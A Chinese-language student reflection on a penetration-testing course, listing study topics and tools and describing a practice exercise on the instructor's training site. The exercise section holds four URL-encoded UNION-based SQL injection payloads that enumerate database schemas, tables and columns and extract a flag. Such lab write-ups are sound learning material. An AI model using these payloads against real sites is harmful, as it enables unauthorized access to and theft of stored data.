# 【心得】資安這條路─系統化學習滲透測試

## 學習技術
- 進階搜尋
- inurl : 搜尋在網頁鏈接中的關鍵字
- intitle : 搜尋在HTML中title裡的關鍵字
- site : 將搜尋侷限在某個網域

- 安全軟體發展生命週期(Secure System Development Life Cycle)
軟體在生命週期的各個階段，會遇到的各種安全問題
- [ZeroDay](https://zeroday.hitcon.org/)
漏洞通報平台，可以查詢最新以及過往的資安漏洞報告
- [gitleaks](https://github.com/zricethezav/gitleaks)
用來檢測.git裡repo重要資訊(密碼、api)的安全檢測工具
- 傳輸協定
- http、https、ftp
- TCP（通訊控制協定）和 UDP（用戶資料包協定）之間的差異
## 實作截圖
- SQL injection
透過 SQL injection 從網址取到相同DB裡的其他table資料

1.找DB

1%20and%201%20=%202%20union%20select%20NULL,group_concat(schema_name),NULL%20FROM%20information_schema.schemata#
成果圖:

2.找table

1%20and%201%20=%202%20union%20select%20NULL,group_concat(table_name),NULL%20FROM%20information_schema.tables%20WHERE%20table_schema=%27myDb%27%20#
成果圖:

3.找column

1%20and%201%20=%202%20union%20select%20NULL,group_concat(column_name),NULL%20FROM%20information_schema.columns%20WHERE%20table_name=%27secret%27%20#

成果圖:
4.關鍵資訊找齊 搜資料庫!

1%20and%201%20=%202%20union%20select%20NULL,group_concat(THIS_IS_FLAG),NULL%20FROM%20myDb.secret

成果圖:

## 講座、講師建議
透過教材以及實際案例(小故事)並蓄的教學方式，非常容易就將教程吸收。還有用心的自製教學網站，讓我能實際進行網站檢測(攻擊)，而不是只是聽個概念，非常棒的講學方式。
## 心得感想

說來慚愧，立志要成為軟體工程師的我，資安觀念其實非常薄弱，一直靠著對網路的不信任心態(盡量不要將真實資料傳上網)以及不輕易將自己的帳號借給他人，這些年才能在網路生活上平安度日。

但就算不將自己的資訊上傳，在現代社會中，別人也會將我的相關資料用電子網路的方式記錄上去，所以我能在網路生活上安穩度日更應該感謝那些為了防止大家資料被盜取而時時刻刻努力的資安工程師們。

「現在變得安全，搞不好會讓未來更不安全」，我很喜歡講師說的這句話，與其一直不信任網路，不如去了解網路，那才是達到真正的安全。